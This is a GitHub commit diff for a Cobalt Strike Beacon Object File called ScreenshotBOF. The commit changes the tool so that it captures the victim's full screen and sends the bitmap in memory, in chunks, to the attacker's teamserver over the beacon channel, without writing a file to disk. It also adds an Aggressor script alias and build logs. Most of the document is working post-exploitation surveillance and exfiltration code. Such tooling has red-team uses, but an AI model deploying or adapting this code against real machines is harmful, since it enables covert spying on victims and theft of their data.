Skip to content

Commit d082e14

Browse files
committed
in memory download
1 parent 6b2ddb5 commit d082e14

File tree

11 files changed

+165
-14
lines changed

11 files changed

+165
-14
lines changed

ScreenshotBOF/Source.cpp

Lines changed: 149 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,138 @@
55
#pragma comment(lib, "User32.lib")
66
#pragma comment(lib, "Gdi32.lib")
77

8+
char downloadfilename[] = "screenshot.bmp";
9+
/*Download File*/
10+
void downloadFile(char* fileName, int downloadFileNameLength, char* returnData, int fileSize) {
811

12+
//Intializes random number generator to create fileId
13+
time_t t;
14+
MSVCRT$srand((unsigned)MSVCRT$time(&t));
15+
int fileId = MSVCRT$rand();
16+
17+
//8 bytes for fileId and fileSize
18+
int messageLength = downloadFileNameLength + 8;
19+
char* packedData = (char*)MSVCRT$malloc(messageLength);
20+
21+
//pack on fileId as 4-byte int first
22+
packedData[0] = (fileId >> 24) & 0xFF;
23+
packedData[1] = (fileId >> 16) & 0xFF;
24+
packedData[2] = (fileId >> 8) & 0xFF;
25+
packedData[3] = fileId & 0xFF;
26+
27+
//pack on fileSize as 4-byte int second
28+
packedData[4] = (fileSize >> 24) & 0xFF;
29+
packedData[5] = (fileSize >> 16) & 0xFF;
30+
packedData[6] = (fileSize >> 8) & 0xFF;
31+
packedData[7] = fileSize & 0xFF;
32+
33+
int packedIndex = 8;
34+
35+
//pack on the file name last
36+
for (int i = 0; i < downloadFileNameLength; i++) {
37+
packedData[packedIndex] = fileName[i];
38+
packedIndex++;
39+
}
40+
41+
BeaconOutput(CALLBACK_FILE, packedData, messageLength);
42+
43+
if (fileSize > (1024 * 900)) {
44+
45+
//Lets see how many times this constant goes into our file size, then add one (because if it doesn't go in at all, we still have one chunk)
46+
int numOfChunks = (fileSize / (1024 * 900)) + 1;
47+
int index = 0;
48+
int chunkSize = 1024 * 900;
49+
50+
while (index < fileSize) {
51+
if (fileSize - index > chunkSize) {//We have plenty of room, grab the chunk and move on
52+
53+
/*First 4 are the fileId
54+
then account for length of file
55+
then a byte for the good-measure null byte to be included
56+
then lastly is the 4-byte int of the fileSize*/
57+
int chunkLength = 4 + chunkSize;
58+
char* packedChunk = (char*)MSVCRT$malloc(chunkLength);
59+
60+
//pack on fileId as 4-byte int first
61+
packedChunk[0] = (fileId >> 24) & 0xFF;
62+
packedChunk[1] = (fileId >> 16) & 0xFF;
63+
packedChunk[2] = (fileId >> 8) & 0xFF;
64+
packedChunk[3] = fileId & 0xFF;
65+
66+
int chunkIndex = 4;
67+
68+
//pack on the file name last
69+
for (int i = index; i < index + chunkSize; i++) {
70+
packedChunk[chunkIndex] = returnData[i];
71+
chunkIndex++;
72+
}
73+
74+
BeaconOutput(CALLBACK_FILE_WRITE, packedChunk, chunkLength);
75+
76+
}
77+
else {//This chunk is smaller than the chunkSize, so we have to be careful with our measurements
78+
79+
int lastChunkLength = fileSize - index + 4;
80+
char* lastChunk = (char*)MSVCRT$malloc(lastChunkLength);
81+
82+
//pack on fileId as 4-byte int first
83+
lastChunk[0] = (fileId >> 24) & 0xFF;
84+
lastChunk[1] = (fileId >> 16) & 0xFF;
85+
lastChunk[2] = (fileId >> 8) & 0xFF;
86+
lastChunk[3] = fileId & 0xFF;
87+
int lastChunkIndex = 4;
88+
89+
//pack on the file name last
90+
for (int i = index; i < fileSize; i++) {
91+
lastChunk[lastChunkIndex] = returnData[i];
92+
lastChunkIndex++;
93+
}
94+
BeaconOutput(CALLBACK_FILE_WRITE, lastChunk, lastChunkLength);
95+
}
96+
97+
index = index + chunkSize;
98+
99+
}
100+
101+
}
102+
else {
103+
104+
/*first 4 are the fileId
105+
then account for length of file
106+
then a byte for the good-measure null byte to be included
107+
then lastly is the 4-byte int of the fileSize*/
108+
int chunkLength = 4 + fileSize;
109+
char* packedChunk = (char*)MSVCRT$malloc(chunkLength);
110+
111+
//pack on fileId as 4-byte int first
112+
packedChunk[0] = (fileId >> 24) & 0xFF;
113+
packedChunk[1] = (fileId >> 16) & 0xFF;
114+
packedChunk[2] = (fileId >> 8) & 0xFF;
115+
packedChunk[3] = fileId & 0xFF;
116+
int chunkIndex = 4;
117+
118+
//pack on the file name last
119+
for (int i = 0; i < fileSize; i++) {
120+
packedChunk[chunkIndex] = returnData[i];
121+
chunkIndex++;
122+
}
123+
124+
BeaconOutput(CALLBACK_FILE_WRITE, packedChunk, chunkLength);
125+
}
126+
127+
128+
//We need to tell the teamserver that we are done writing to this fileId
129+
char packedClose[4];
130+
131+
//pack on fileId as 4-byte int first
132+
packedClose[0] = (fileId >> 24) & 0xFF;
133+
packedClose[1] = (fileId >> 16) & 0xFF;
134+
packedClose[2] = (fileId >> 8) & 0xFF;
135+
packedClose[3] = fileId & 0xFF;
136+
BeaconOutput(CALLBACK_FILE_CLOSE, packedClose, 4);
137+
138+
return;
139+
}
9140

10141
#pragma region error_handling
11142
#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
@@ -80,31 +211,39 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName)
80211
ReleaseDC(NULL, hDC);
81212
}
82213

83-
fh = CreateFile(lpszFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
84-
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN, NULL);
214+
//fh = CreateFile(lpszFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN, NULL);
85215

86-
if (fh == INVALID_HANDLE_VALUE)
87-
return FALSE;
216+
//if (fh == INVALID_HANDLE_VALUE)
217+
// return FALSE;
88218

89219
bmfHdr.bfType = 0x4D42; // "BM"
90220
dwDIBSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + dwPaletteSize + dwBmBitsSize;
91221
bmfHdr.bfSize = dwDIBSize;
92222
bmfHdr.bfReserved1 = 0;
93223
bmfHdr.bfReserved2 = 0;
94224
bmfHdr.bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER) + (DWORD)sizeof(BITMAPINFOHEADER) + dwPaletteSize;
225+
void* bmpdata = malloc(sizeof(BITMAPFILEHEADER) + dwDIBSize);
226+
memcpy(bmpdata, &bmfHdr, sizeof(BITMAPFILEHEADER));
227+
memcpy(((char*)bmpdata) + sizeof(BITMAPFILEHEADER), lpbi, dwDIBSize);
228+
95229

96-
WriteFile(fh, (LPSTR)&bmfHdr, sizeof(BITMAPFILEHEADER), &dwWritten, NULL);
230+
downloadFile((char*)lpszFileName, sizeof(lpszFileName), (char*)bmpdata, (int)(sizeof(BITMAPFILEHEADER) + dwDIBSize));
231+
//WriteFile(fh, (LPSTR)bmpdata, sizeof(BITMAPFILEHEADER)+ dwDIBSize, &dwWritten, NULL);
97232

98-
WriteFile(fh, (LPSTR)lpbi, dwDIBSize, &dwWritten, NULL);
233+
/* clean up */
99234
GlobalUnlock(hDib);
100235
GlobalFree(hDib);
101-
CloseHandle(fh);
236+
//CloseHandle(fh);
102237
return TRUE;
103238
}
104239

105240
#ifdef BOF
106241
void go(char* buff, int len) {
107-
BeaconPrintf(0x0, "[*] Tasked beacon to printscreen and save to disk");
242+
datap parser;
243+
char * downloadfilename;
244+
BeaconDataParse(&parser, buff, len);
245+
downloadfilename = BeaconDataExtract(&parser, NULL);
246+
BeaconPrintf(0x0, "[*] Tasked beacon to printscreen and save to %s",downloadfilename);
108247
int x1, y1, x2, y2, w, h;
109248
// get screen dimensions
110249
x1 = GetSystemMetrics(SM_XVIRTUALSCREEN);
@@ -132,10 +271,10 @@ void go(char* buff, int len) {
132271
*/
133272

134273
BeaconPrintf(0x0, "[+] PrintScreen saved to bitmap...");
135-
LPCSTR filename = "screenshot.bmp";
274+
LPCSTR filename = (LPCSTR)downloadfilename;
136275
SaveHBITMAPToFile(hBitmap, (LPCTSTR)filename);
137276

138-
BeaconPrintf(0x0, "[+] Printscreen bitmap saved to screenshot.bmp");
277+
//BeaconPrintf(0x0, "[+] Printscreen bitmap saved to %s",downloadfilename);
139278
// clean up
140279
SelectObject(hDC, old_obj);
141280
DeleteDC(hDC);

ScreenshotBOF/beacon.h

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -44,6 +44,9 @@ DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
4444
#define CALLBACK_OUTPUT_OEM 0x1e
4545
#define CALLBACK_ERROR 0x0d
4646
#define CALLBACK_OUTPUT_UTF8 0x20
47+
#define CALLBACK_FILE 0x02
48+
#define CALLBACK_FILE_WRITE 0x08
49+
#define CALLBACK_FILE_CLOSE 0x09
4750

4851
DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
4952
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);

ScreenshotBOF/bofdefs.h

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -163,6 +163,7 @@ DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SI
163163
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
164164
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapReAlloc(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes);
165165
DECLSPEC_IMPORT void* __cdecl MSVCRT$memcpy(LPVOID, LPVOID, size_t);
166+
DECLSPEC_IMPORT void* __cdecl MSVCRT$malloc(size_t);
166167
DECLSPEC_IMPORT void __cdecl MSVCRT$memset(void*, int, size_t);
167168

168169

@@ -266,6 +267,7 @@ DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetUserNameW(LPWSTR lpBuffer, LPDWORD pcbBu
266267
#define HeapAlloc KERNEL32$HeapAlloc
267268
#define HeapReAlloc KERNEL32$HeapReAlloc
268269
#define memcpy MSVCRT$memcpy
270+
#define malloc MSVCRT$malloc
269271
#define memset MSVCRT$memset
270272

271273

ScreenshotBOF/intermediary/BOF/x64/ScreenshotBOF.log

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,8 +13,10 @@ C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\Screens
1313
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(114): warning C4141: 'dllimport': used more than once
1414
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(117): warning C4141: 'dllimport': used more than once
1515
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(120): warning C4141: 'dllimport': used more than once
16-
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(246): warning C4005: 'ZeroMemory': macro redefinition
16+
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(247): warning C4005: 'ZeroMemory': macro redefinition
1717
C:\Program Files (x86)\Windows Kits\10\Include\10.0.18362.0\um\minwinbase.h(39): note: see previous definition of 'ZeroMemory'
18+
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(270): warning C4005: 'malloc': macro redefinition
19+
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(245): note: see previous definition of 'malloc'
1820
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\intermediary\BOF\x64\source.obj
1921
1 File(s) copied
2022
enumerating sections...
1.95 KB
Binary file not shown.

ScreenshotBOF/intermediary/BOF/x86/ScreenshotBOF.log

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,8 +13,10 @@ C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\Screens
1313
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(114): warning C4141: 'dllimport': used more than once
1414
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(117): warning C4141: 'dllimport': used more than once
1515
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(120): warning C4141: 'dllimport': used more than once
16-
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(246): warning C4005: 'ZeroMemory': macro redefinition
16+
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(247): warning C4005: 'ZeroMemory': macro redefinition
1717
C:\Program Files (x86)\Windows Kits\10\Include\10.0.18362.0\um\minwinbase.h(39): note: see previous definition of 'ZeroMemory'
18+
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(270): warning C4005: 'malloc': macro redefinition
19+
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(245): note: see previous definition of 'malloc'
1820
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\intermediary\BOF\x86\source.obj
1921
1 File(s) copied
2022
enumerating sections...
1.5 KB
Binary file not shown.

bin/BOF/ScreenshotBOF.x64.obj

1.95 KB
Binary file not shown.

bin/BOF/ScreenshotBOF.x86.obj

1.5 KB
Binary file not shown.

bin/BOF/screenshotBOF.cna

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -11,11 +11,14 @@ alias screenshot_bof {
1111
# figure out the arch of this session
1212
$barch = barch($1);
1313
# read in the right BOF file
14-
$handle = openf(script_resource("screenshotBOF. $+ $barch $+ .obj"));
14+
$handle = openf(script_resource("ScreenshotBOF. $+ $barch $+ .obj"));
1515
$data = readb($handle, -1);
1616
closef($handle);
17+
18+
$args = bof_pack($1, "z",$2);
19+
1720
# announce what we're doing
1821
btask($1, "Running screenshot BOF by (@codex_tf2)");
1922
# execute it.
2023
beacon_inline_execute($1, $data, "go", $args);
21-
}
24+
}

0 commit comments

Comments
 (0)